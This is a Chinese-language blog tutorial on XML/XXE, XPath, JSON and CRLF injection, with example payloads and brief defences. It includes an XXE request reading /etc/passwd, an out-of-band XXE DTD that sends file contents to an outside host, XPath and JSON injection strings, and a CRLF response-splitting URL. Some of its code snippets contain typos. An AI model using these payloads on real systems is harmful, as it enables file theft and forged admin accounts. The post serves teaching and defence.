WEB安全第五篇--其他注入的奇技淫巧:XML注入、Xpath注入、Json注入、CRLF注入
零、前言
最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件、底层安全、漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的payload技巧以便于备忘。不是大神、博客内容非常基础,如果真的有人看而且是大牛们,请不要喷我,欢迎指正我的错误(水平有限)。
一、XML注入:
1、本质:
XML是一种数据组织存储的数据结构方式,安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注入攻击。
2、举例说明:
"""
原始组织数据如下:
<USER role="guest">
<name>user1</name>
<password>uesr1</password>
<email>user1@test.com</email>
</USER>
用户本应提交的数据是user1 , user1 ,user1@test.com
如果用户提交的数据是
POST下
name = user1&passwd=user1&email=user1@test.com</email></USER><USER role="admin"><name>attack</name><password>attack</password><email>attack@test.com
就会导致生成一个新的管理员账户attack
"""
/*
(1)有回显,直接读取文件
*/
<?php
$xml=$GET['XML'];
$data = simplexml_load_string($xml);
print_r($data);
>
/*
攻击请求get a.b.c.d?xml=<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root><name>&xxe;</name></root>
*/
/*
(2)引用远程server上的XML文件 读取文件
*/
/*#1.xml:
<!ENTITY % a SYSTEM "file:///etc/passwd">
<!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com%a;'>"> %b;%c
#payload
<?xml version="1.0" encoding="utf-8">
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.106.208/1.xml">
%remote;]>
*/
<!--原始XML为:-->
<?xml version="1.0" encoding="UTF-8"?>
<adminuser>
<admin id="1">
<name>admin</name>
<password>admin</passsword>
</admin>
</adminuser>
<!--
例如攻击者可以修改password部分,则可以如下构造:
输入:
<admin></password></admin><admin id=2><name>test</name><password>test</password></admin>
那么XML文件则会变成:
-->
<?xml version="1.0" encoding="UTF-8"?>
<adminuser>
<admin id="1">
<name>admin</name>
<password>admin</passsword>
</admin>
<admin id="2">
<name>test</name>
<password>test</passsword>
</admin>
</adminuser>
<!--
增加了一个管理员权限账号。
-->
3、危害:
#常见攻击手段包括:
#读取本地文件(可能包含敏感信息 /etc/shadow)
#内存侵犯
#任意代码执行
#拒绝服务
4、防御:
#对有改变XML结构的特殊输入进行过滤或者编码
#filter list = ["&","<",">","'".'"',"/"]
#在XML保存和展示之前都需要
二、Xpath注入:
1、本质:
#Xpath是类似SQL的一种从XML结构中搜索节点数据的语言(DSL),其注入放手就是构造完整可执行的DSL,本质与SQL注入一样。
2、举例:
一般结构//nodename[ colunmname/colunmtype()="xxxxxx" and .......]
例如:
//USER [username/text()="admin" and password/text()="123456"]
注入就是在引号内内容着手构造:
例如password=> 111" or "2"="2
3、防御:
防御很简单,过滤特殊输入字符即可。
三、Json注入:
1、本质:
@json也是传输数据的一种格式,增加一个用户的json结构如下:
{"adduser":[{"username":"admin1","password":"123456"}]},可以注入多增加一个 password=>123456"},{"username":"admin2","password":"123456
2、防御:
过滤关键字即可。
四、CRLF注入也叫HTTP响应截断:
1、本质:
也叫CRLF注入攻击。CR、LF分别对应回车(%0d)、换行(%0a)字符。HTTP头由很多被CRLF组合分离的行构成,每行的结构都是“键:值”。如果用户输入的值部分注入了CRLF字符,它就有可能改变HTTP报头结构。
2、举例:假设数据部分是xss payload则会中招啊
"""
(1)REQUEST-METHOD : GET
URL : http://a.b.c.d/index.html?language=Chinense
RESPONSE :
HTTP/1.1 302 Moved Temporarily GMT\r\n
Date: ********
Location:http://a.b.c.d/zhcn.html
Server:******
******
(2)REQUEST-METHOD : GET
URL : http://a.b.c.d/index.html?language=Chinense%0d%0aContent- Length%3a+%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-Type%3a%+text%2fhtml%d%0aContent-Length%3a+24%0d%0a%3chtml%3eI%e2%80%99m+hacker!%3c%2fhtml%3e
实际上就是:
Chinese
Content-Length:0 HTTP/1.1 200 OK
Content-Type:text/html
Content-Length:24 <html>I'm hacker!</html> RESPONSE :
HTTP/1.1 302 Moved Temporarily GMT\r\n
Date: ********
Location:http://a.b.c.d/zhcn.html
Content-Length:0 HTTP/1.1 200 OK
Content-Type:text/html
Content-Length:24 <html>I'm hacker!</html>
Server:******
****** 修改编码格式,避免过滤函数过滤掉常用恶意payload符号的UTF-8,GBK,Unicode编码.
等 当然可以不加新的http响应头,直接注入\r\n(CRLF)和payload 常见的容易出问题的PHP函数
header()
setcookie()
session_id()
setrawcookie() 位置:
location -> 重定向到恶意地址
set-cookie -> 把自己数据写入cookie
"""
3、防御:
限制用户输入的CR和LF,或者对CR和LF字符正确编码后再输出
WEB安全第五篇--其他注入的奇技淫巧:XML注入、Xpath注入、Json注入、CRLF注入的更多相关文章
- Web安全相关(五):SQL注入(SQL Injection)
简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...
- Python之路【第十五篇】:Web框架
Python之路[第十五篇]:Web框架 Web框架本质 众所周知,对于所有的Web应用,本质上其实就是一个socket服务端,用户的浏览器其实就是一个socket客户端. 1 2 3 4 5 6 ...
- 《手把手教你》系列技巧篇(四十五)-java+ selenium自动化测试-web页面定位toast-上篇(详解教程)
1.简介 在使用appium写app自动化的时候介绍toast的相关元素的定位,在Web UI测试过程中,也经常遇到一些toast,那么这个toast我们这边如何进行测试呢?今天宏哥就分两篇介绍一下. ...
- 【Python五篇慢慢弹】快速上手学python
快速上手学python 作者:白宁超 2016年10月4日19:59:39 摘要:python语言俨然不算新技术,七八年前甚至更早已有很多人研习,只是没有现在流行罢了.之所以当下如此盛行,我想肯定是多 ...
- 【Python五篇慢慢弹】数据结构看python
数据结构看python 作者:白宁超 2016年10月9日14:04:47 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给出的pythondoc ...
- 【Python五篇慢慢弹(3)】函数修行知python
函数修行知python 作者:白宁超 2016年10月9日21:51:52 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给出的pythondoc ...
- 【Python五篇慢慢弹(4)】模块异常谈python
模块异常谈python 作者:白宁超 2016年10月10日12:08:31 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给出的pythondo ...
- 【Python五篇慢慢弹(5)】类的继承案例解析,python相关知识延伸
类的继承案例解析,python相关知识延伸 作者:白宁超 2016年10月10日22:36:57 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给 ...
- 第五篇 :微信公众平台开发实战Java版之如何获取公众号的access_token以及缓存access_token
一.access_token简介 为了使第三方开发者能够为用户提供更多更有价值的个性化服务,微信公众平台 开放了许多接口,包括自定义菜单接口.客服接口.获取用户信息接口.用户分组接口.群发接口等, 开 ...
随机推荐
- hadoop 1.1.2和 hive 0.10 和hbase 0.94.9整合
今天弄了一下hive0.10和hbase0.94.9整合,需要设置的并不多,但是也遇到了一些问题. 1.复制jar包 拷贝hbase-0.94.9.jar,zookeeper-3.4.5.jar,pr ...
- python中time类型,datetime类型的关系与互相转换
一.time模块 time模块提供各种操作时间的函数 一般有两种表示时间的方式: 第一种是时间戳的方式(相对于1970.1.1 00:00:00以秒计算的偏移量),时间戳是惟一 ...
- ASP.NET C# 获取当前日期 时间 年 月 日 时 分 秒
我们可以通过使用DataTime这个类来获取当前的时间.通过调用类中的各种方法我们可以获取不同的时间:如:日期(2008-09-04).时间(12:12:12).日期+时间(2008-09-04 12 ...
- .net提供的5种request-response方法一
.net提供了三种基本方法和两种底层方法来发送http请求和接收http响应,通过这些方法,我们可以模仿在浏览器地址栏输入URL地址访问网页的方法.我们发送http请求,接收服务器返回的响应(通常就是 ...
- 浅谈 JavaScript 编程语言的编码规范
对于熟悉 C/C++ 或 Java 语言的工程师来说,JavaScript 显得灵活,简单易懂,对代码的格式的要求也相对松散.很容易学习,并运用到自己的代码中.也正因为这样,JavaScript 的编 ...
- msysgit使用方法
安装好后运行"Git Bash",出现命令框. 输入 ssh-keygen -t rsa -C “your_email@youremail.com” 会提示SSH Public K ...
- Linux命令 cat命令
这个命令可不是“猫”的意思,而是catenate的缩写.顾名思义,是把东西串起来.比如:cat file1 file2就是把文件file1和file2连在一起,然后输出到屏幕上.注意,输出到屏幕上是c ...
- selenium测试(Java)--告警框处理(十四)
下面代码中介绍了告警框的处理方法 package com.test.alerthandle; import org.openqa.selenium.By; import org.openqa.sele ...
- 动态调用WCF不添加服务(svcutil.exe)
记录下 首先用svcutil.exe把指定wcf接口的信息下载下来. 生成代理类 比如说接口地址为 http://localhost:6666/Service1.svc 以管理员身份打开cmd 执形 ...
- cesium可视化空间数据1
---恢复内容开始--- 1.多边形 我们要从经度和纬度列表中为美国怀俄明州添加一个多边形.(怀俄明被选中是因为它是一个简单的多边形.)我们可以复制并粘贴以下代码到Sandcastle中: < ...